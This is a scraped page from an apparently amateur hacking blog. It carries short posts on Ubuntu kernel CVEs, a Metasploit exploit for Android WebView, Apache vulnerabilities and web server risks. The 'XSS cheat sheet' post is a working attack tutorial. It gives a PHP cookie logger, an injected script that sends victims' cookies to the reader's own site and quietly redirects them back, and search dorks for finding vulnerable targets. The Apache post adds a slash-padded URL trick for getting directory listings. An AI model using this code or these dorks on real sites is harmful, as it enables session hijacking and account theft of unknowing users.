Ubuntu 13.10 Kernel Exploit

2/21/2014 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUzKdvFGwYsPPLYutyQUQA5WqqWeneoTubm7ajR6GHLDx2fDjpWtdMVFfw0r0IiaoPWwrL18QXYDrLJuXY86Q4DupDSK1fXUR1wIh8RHJRib4C0e5B1JejWU7kH-8PG786QANPh5yxS8Xt/s1600/ubuntu+kernel+exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Ubuntu 13.10 Kernel Exploit" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUzKdvFGwYsPPLYutyQUQA5WqqWeneoTubm7ajR6GHLDx2fDjpWtdMVFfw0r0IiaoPWwrL18QXYDrLJuXY86Q4DupDSK1fXUR1wIh8RHJRib4C0e5B1JejWU7kH-8PG786QANPh5yxS8Xt/s1600/ubuntu+kernel+exploit.jpg" title="Ubuntu 13.10 Kernel Exploit" width="400" /></a></div>
<br />
A security issue affects Ubuntu 13.10 releases of Ubuntu and its derivatives<br />
<b>Saran Neti</b> reported a flaw in the ipv6 UDP Fragmentation Offload (UFI) in the Linux kernel. A remote attacker could exploit this flaw to cause a denial of service (panic). (<div class="highlight pop">CVE-2013-4563</div>)<br />
<b>Mathy Vanhoef</b> discovered an error in the the way the ath9k driver was handling the BSSID masking. A remote attacker could exploit this error to discover the original MAC address after a spoofing attack.  (<div class="highlight pop">CVE-2013-4579</div>
)<br />
<b>Andrew Honig</b> reported a flaw in the Linux Kernel's kvm_vm_ioctl_create_vcpu function of the Kernel Virtual Machine (KVM) subsystem. A local user could exploit this flaw to gain privileges on the host machine. (<div class="highlight pop">CVE-2013-4587</div>) Various other issues were also addressed.<br />
Andrew Honig reported a flaw in the apic_get_tmcct function of the Kernel Virtual Machine (KVM) subsystem if the Linux kernel. A guest OS user could exploit this flaw to cause a denial of service or host OS system crash. (<div class="highlight pop">CVE-2013-6367</div>)<br />
Andrew Honig reported an error in the Linux Kernel's Kernel Virtual Machine (KVM) VAPIC synchronization operation. A local user could exploit this flaw to gain privileges or cause a denial of service (system crash).<br />
Source:<a href="http://www.ubuntu.com/usn/usn-2117-1/" target="_blank">Ubuntu</a> </div>

A security issue affects Ubuntu 13.10 releases of Ubuntu and its derivatives Saran Neti reported a flaw in the ipv6 UDP Fragmentation ...

Millions of Vulnerable Android Devices Exposed

2/20/2014 The Hackers Chronicle 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFSeEUslTWF_FPNY8QRBlfYEWBqI3biHqeSj8sY52EGYd6y7xYKq2qTAzeIEUBBAM1fokSkJ_1dfEr8f7heqeuU0xtODAX1sGX-WoyyxPpsmsG7WFodo7p8TrPe1jk8rYPDN_qgnBENcAs/s1600/android-malware.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFSeEUslTWF_FPNY8QRBlfYEWBqI3biHqeSj8sY52EGYd6y7xYKq2qTAzeIEUBBAM1fokSkJ_1dfEr8f7heqeuU0xtODAX1sGX-WoyyxPpsmsG7WFodo7p8TrPe1jk8rYPDN_qgnBENcAs/s1600/android-malware.jpg" width="400" /></a></div>
<br />
Android devices prior to version 4.2.1 of the operating system—70 percent of the phones and tablets in circulation—have been vulnerable to a serious and simple remote code execution vulnerability in the Android browser for more than 93 weeks.<br /><br />Metasploit recently added an exploit module that targets the vulnerability, which was patched in 4.2.2 released one year ago. However, with carriers and device makers reticent to be quick with updates and security patches, close to three-quarters of the Android user base is at risk for attack. For some perspective, Android Central reports that KitKat, the latest version of Android, has yet to hit 2 percent adoption.<br /><br />“I did a quick survey of the phones available today on the no-contract rack at a couple big-box stores, and every one that I saw were vulnerable out of the box,” said Rapid7 senior manager of engineering Tod Beardsley. “And yes, that’s here in the U.S., not some far-away place like Moscow, Russia.”<br /><br />The exploit module, built by contributors Joe Vennix and Joshua Drake, could enable access to the device camera, location data, information stored on a SD card and even the user’s address book. Drake said he was recently able to get code execution on Google Glass using the exploit.<br /><br />The attack exploits a vulnerability that was <a href="http://50.56.33.56/blog/?p=314" target="_blank">disclosed</a> in December 2012. The problem lies with the addJavascriptInterface in WebView. Applications are able to inject Java objects into WebView, including malicious JavaScript which can cause unwanted behavior such as sending expensive SMS messages to premium numbers or giving attackers access to data on the phone. JavaScript can also get around browser security controls, said researcher Neil Bergman, a security consultant who disclosed the vulnerability.<br /><br />Rapid7 said an attacker would need to be man-in-the-middle on a device in order to exploit it, something its new exploit module simplifies. The company demonstrates the exploit in a <a href="https://community.rapid7.com/community/metasploit/blog/2014/02/13/weekly-metasploit-update" target="_blank">video</a>, which is triggered in this case by a malicious QR code the victim scans with their Android smartphone and opens a command shell for the attacker.<br /><br />The best mitigation is to update Android to 4.2.2 or higher, but that isn’t always feasible for users. Device manufacturers and carriers control when updates are rolled out, despite the fact that Google is generally prompt with patches and updates.<br /><br />The carriers and manufacturers have been under fire from privacy and security experts and even the U.S. Federal Trade Commission. Last April, the American Civil Liberties Union asked the FTC to investigate four major carriers, accusing them of deceptive business practices and knowingly selling defective phones to consumers that are shy on security updates and patches. The ACLU requested that the FTC force carriers to warn customers about unpatched vulnerabilities, allow customers with vulnerable phones to escape their contracts without early termination penalties, and provide that customers may exchange at no cost their phones for another that receives regular security updates, or return the phone for a full refund.<br /><br />Last February, the FTC reached a damning settlement with device makers HTC America. The FTC forced HTC to enact expensive security enhancements that included regular security patches for Android devices, establish a security program that focuses on developer security, and submit to security assessments.</div>

Android Malwares Metasploit Vulnerability Millions of Vulnerable Android Devices Exposed

Android devices prior to version 4.2.1 of the operating system—70 percent of the phones and tablets in circulation—have been vulnerable ...

XSS cheat sheet

12/02/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" /></a></div><br />
Before we start <span style="color: mediumblue;">what is XSS?</span> let's come to basic !! hmm what is <span style="color: darkgreen;">cookie</span> , don't say something like eating stuff.<br />
<span style="color: darkgreen;"><span style="font-weight: bold;">COOKIE</span></span>: <br />
<div class="define border-fade">A cookie is the variable that web-browsers use to store your login  credentials. Without a cookie, you cannot "stay logged in" on websites.</div><span style="color: purple;"><span style="font-weight: bold;">CROSS SITE SCRIPTING</span></span>: <br />
<div class="define border-fade">Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</div><br />
SOME POINTS ON XSS :<br />
<blockquote>@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password.<br />
@-XSS is used to harm the website (may be defacing ).</blockquote><span style="font-style: italic;">tRAdiTIOnAL Type$</span>: <span style="color: mediumblue;">type0</span> , <span style="color: darkslateblue;">type1</span>, <span style="color: mediumvioletred;">type2</span><br />
<span style="color: mediumblue;">type 0 =DOM-based</span>:<br />
<br />
<div class="spoiler_body" style="display: block;">DOM-based  is an XSS attack wherein the attack payload is executed as a result of  modifying the DOM “environment” in the slave’s browser used by the  original client side script, so that the client side code runs in an  “unexpected” manner. That is, the page itself (the HTTP response that  is) does not change, but the client side code contained in the page  executes differently due to the malicious modifications that have  occurred in the DOM environment.</div><br />
<span style="color: darkslateblue;">type 1 = Non Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It  means that the injected code is not permanent and is for small time  till the user is on page or having the url with malicious code.</div><span style="color: mediumvioletred;">type 2 = Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div><br />
Now the question is how to check whether the site is xss vulnerable or not ?<br />
There are two methods to check this:<br />
<br />
<h3>1.POST:: </h3><a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)<br />
<div class="program glow"><pre><code class="prettyprint"><script>alert(“xss”);</script></code></pre></div><br />
<h3>2.GET :</h3><div class="heightlight">http://www.target.com/search=<script>alert(</a>"xss");</script></div>We directly put the script in url of browser<br />
<br />
<span style="color: mediumvioletred;"> </span>what else we can do ..??<br />
--><span style="text-decoration: underline;">Insert image</span>:<br />
<div class="program glow"><pre><code class="prettyprint"><img src=“url of the image”></img></code></pre></div>--><span style="text-decoration: underline;">Insert message</span>:<br />
<div class="program glow"><code class="prettyprint"><b>this is hacked </b></code></div>--><span style="text-decoration: underline;">Redirect to your page</span> :<br />
<div class="program glow"><code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div><br />
But main aim of xss is to steal cookies so here is cookie stealing.<br />
COOKIE STEALING TUTORIAL:<br />
<div class="program glow"><code class="prettyprint"><br />
<?php<br />
<br />
function GetIP()<br />
{<br />
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))<br />
        $ip = getenv("HTTP_CLIENT_IP");<br />
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))<br />
        $ip = getenv("HTTP_X_FORWARDED_FOR");<br />
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))<br />
        $ip = getenv("REMOTE_ADDR");<br />
    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))<br />
        $ip = $_SERVER['REMOTE_ADDR'];<br />
    else<br />
        $ip = "unknown";<br />
    return($ip);<br />
}<br />
<br />
function logData()<br />
{<br />
    $ipLog="log.txt";<br />
    $cookie = $_SERVER['QUERY_STRING'];<br />
    $register_globals = (bool) ini_get('register_gobals');<br />
    if ($register_globals) $ip = getenv('REMOTE_ADDR');<br />
    else $ip = GetIP();<br />
<br />
    $rem_port = $_SERVER['REMOTE_PORT'];<br />
    $user_agent = $_SERVER['HTTP_USER_AGENT'];<br />
    $rqst_method = $_SERVER['METHOD'];<br />
    $rem_host = $_SERVER['REMOTE_HOST'];<br />
    $referer = $_SERVER['HTTP_REFERER'];<br />
    $date=date ("l dS of F Y h:i:s A");<br />
    $log=fopen("$ipLog", "a+");<br />
<br />
    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");<br />
    else<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host  |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");<br />
    fclose($log);<br />
}<br />
<br />
logData();<br />
<br />
?></code></div><br />
now how to use this code???<br />
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file.<br />
<br />
First you'll need to get an account on a server and create two files,  log.txt and giveyourname.php. You can leave log.txt empty. This is the  file your cookie stealer will write to. Now paste this php code into  your cookie stealer script (give your name.php) [code metion above].<br />
above script will record the cookies of every user that views it.<br />
<div class="program glow"><pre><code class="prettyprint"><script language=  "JavaScript">
document.location="http://yoursite.com/giveyourname.php?cookie="  +  document.cookie;document.location="http://www.whateversite.com"
</script>
</code></pre></div>now above code is injected to the xss vulnerable site page via get or post method: what does this code do??<br />
The above code redirects the viewer to your script, which records their  cookie to your log file. It then redirects the viewer back to the  unmodified search page so they don't know anything happened.<br />
<br />
<br />
If this code works then you'll automatically gets the cookie in  yoursite, other wise you have to do some hard work !! grab the link  which you get after the insertion of above script. And manually get  someone to use that link if necessary. o0ps all s done at this point.<br />
<br />
##All you need to do now is go to your website and check the<span style="color: maroon;"><span style="font-weight: bold;"> log file</span></span><br />
<br />
YOU CAN TRY TO LOOK HERE =<br />
<div class="content shadow-radial">SEARCH BOX<br />
SHOUT BOX<br />
BLOGS<br />
COMMENT BOX<br />
LOGIN BOX<br />
FEEDBACK FORMS</div><br />
Hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them:<br />
here are few dorks for you:<br />
<div class="content shadow-radial">inurl:search.php?q=<br />
inurl:com_feedpostold/feedpost.php?url=<br />
inurl:scrapbook.php?id=<br />
inurl:headersearch.php?sid=<br />
inurl:/poll/default.asp?catid=<br />
inurl:/search_results.php?search=<br />
/preaspjobboard//Employee/emp_login.asp?msg1=<br />
pages/match_report.php?mid= pages/match_report.php?mid=<br />
inurl:?msg=</div></div>

Hacking Hacking Tutorials Tutorials Vulnerability XSS XSS cheat sheet

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A cook...

Hack Apache based Web Servers

11/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" /></a></span></div>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
</h3>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;">Apache Vulnerability: Hack Apache based Web Servers</span></h3>
<div class="post-header" style="line-height: 1.6; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"></span></span><br />
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b></b></span></span></span><br />
<center>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b>Apache Vulnerability</b></span></span></span></center>
<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span>
<br />
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">  <div class="first-para">
The Apache Week tracks the vulnerabilities in Apache Server. Even Apache  has its share of bugs and fixes.</div>
</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20.</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
Long URLs passing through the mod_negative, mod_dir and mode_autoindex modules could cause Apache to list directory contents.</div>
</li>
</ul>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
The concept is simple but requires a few trial runs.</div>
</li>
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
A URL with a large number of trailing slashes:</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
/cgi-bin /////////////////////////// / could produce directory listing of the original directory.</div>
</li>
</ul>
</li>
</ul>
</li>
</span></span></ul>
</div>
<table border="0" cellpadding="0" cellspacing="0" class="BlankSpace"><tbody>
<tr><td height="16"></td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The purpose of discussing the various vulnerabilities of the web server here is to highlight how ingenious attackers can be in exploring the functionality of the various components that they are able to elicit an unexpected and previously unknown behavior of a piece of code. No matter how insignificant it is, a security breach can have far reaching implications if left unattended.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">This is not the only issue in focus. The possibility of eliminating flawed coding practices and incorporating proper testing must not be ignored as security measures.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The Apache Week tracks the vulnerabilities in Apache Server. For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20. Because of this, a client submitting a very long URI could cause a directory listing to be returned rather than the default index page. This was subsequently fixed in Apache httpd 1.3.22</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span></div>
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">
<b>Some of the other vulnerabilities have been:</b></div>
</td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS via IPv6</i>: When a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS with multiple Listen directives</i>: In a server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">APR remote crash</i>: A vulnerability in the apr_psprintf function in the Apache Portable Runtime (APR) library allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via long strings, as demonstrated using XML objects to mod_dav, and possibly other vectors. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Basic Authentication DoS</i>: A build system problem in Apache 2.0.40 through 2.0.45 allows remote attackers to cause a denial of access to authenticated content when a threaded server is used. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Line feed memory leak DoS</i>: Apache 2.0 versions before Apache 2.0.45 have a significant Denial of Service vulnerability. Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. This has been fixed in Apache httpd 2.0.45</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">MSDOS device names cause DoS</i>: Apache versions before 2.0.44 on Windows do not correctly filter MS-DOS device names which can lead to denial of service attacks and remote code execution. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Apache can serve unexpected files</i>: On Windows platforms Apache could be forced to serve unexpected files by appending illegal characters such as '<' to the request URL. This has been fixed in Apache httpd 2.0.44</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Rewrite rules that include references allow access to any file</i>: The Rewrite module, mod_rewrite, can allow access to any file on the web server. The vulnerability occurs only with certain specific cases of using regular expression references in Rewrite Rule directives: If the destination of a Rewrite Rule contains regular expression references then an attacker will be able to access any file on the server. This has been fixed in Apache httpd 1.3.14</span></span></div>
</div>
</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>

Apache DOS Hacking Hacking Tutorials Linux Tutorials Server Tutorials Vulnerability Hack Apache based Web Servers

Apache Vulnerability: Hack Apache based Web Servers Apache Vulnerability The Apache Week tracks the vulnerabilitie...

Popular Web Servers : Hacking Web Servers

11/27/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s1600/Server-Hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8Wsar8QnZKYzupW_QVFoFesAX_3SJrnOV2P3aV2ddmnmFtUCz5F4OUss3bwN7yBz0X6AhLLsmEBs2Ag_qBc43PegiUfPK4BesbYHE9oWQ5xGBlTE73t8cEAh6DMJBOSf1Oh1Or7X1eQ9/s320/Server-Hacking.jpg" width="320" /></a></div>
<br />
The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server.<br />
The Apache Web Server is an open-source web server for modern operating systems including UNIX and Windows NT. The server provides HTTP services in sync with the current HTTP standards in an efficient and extensible environment.<br />
<br />
The Java Web Server / Sun ONE Web Server is one of the other highly available Web servers on the market. Microsoft's Internet Information Server is another popular server used by a sizable percentage of websites.<br />
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><br />
Threat</td><td class="admon-body" valign="top"><br />
<b class="bold">Common Security Risks</b><br />
<br />
Let us take a look at some of the security concerns that arise in the context of web servers. There are inherent security risks that affect web servers, the local area networks that host these web sites, and perhaps even the normal users of web browsers.</td></tr>
</tbody></table>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Webmaster's Concern</h4>
<br />
From a webmaster's perspective, the biggest security concern is that the web server can expose the local are network or the corporate intranet to the threats posed by the Internet. This may be in the form of virus, Trojans, hackers or compromise of information itself. It is often considered that software bugs present in large complex programs are the source of imminent security lapses. Web servers, being large complex devices do come with these inherent risks. Apart from this, the open architecture of some Web servers allows arbitrary scripts to be executed on the server's side of the connection in response to remote requests. Any CGI script installed at the site may contain bugs that are potential security holes.</div>
<br />
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Network Administrator's Concern</h4>
<div class="first-para">
From a network administrator's perspective, a poorly configured web server poses another potential hole in the local network's security. While the objective of a web site is to provide controlled access to the network, too much of control can make a Web site impossible to use. In an intranet environment, the network administrator has to careful about configuring the web server such that legitimate users are recognized and authenticated and various groups of users assigned distinct access privileges.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
End User's Concern</h4>
<div class="first-para">
Usually the end user does not perceive any immediate threat, as surfing the web appears both safe and anonymous. However, active content, such as ActiveX controls and Java applets, makes it possible for harmful applications such as viruses to invade the user's system. Besides, active content from a web browser can be a conduit for malicious software to bypass the firewall system and permeate the local area network.</div>
<div class="last-para">
The threat for the end user stems from the fact that the TCP/IP protocol was not designed with security as its foremost priority. Therefore, data can be compromised in terms of confidentiality, authentication, and integrity as it is transmitted across the Web. In essence the aspects of confidentiality, authentication, and integrity need to be guarded both on the client side and server side to the extent possible.</div>
</div>
<div class="section" style="margin: 0px 27px; padding: 0px;">
<h4>
Risks</h4>
<div class="first-para">
There are basically three overlapping types of risk:</div>
<ol class="orderedlist">
<li class="first-listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
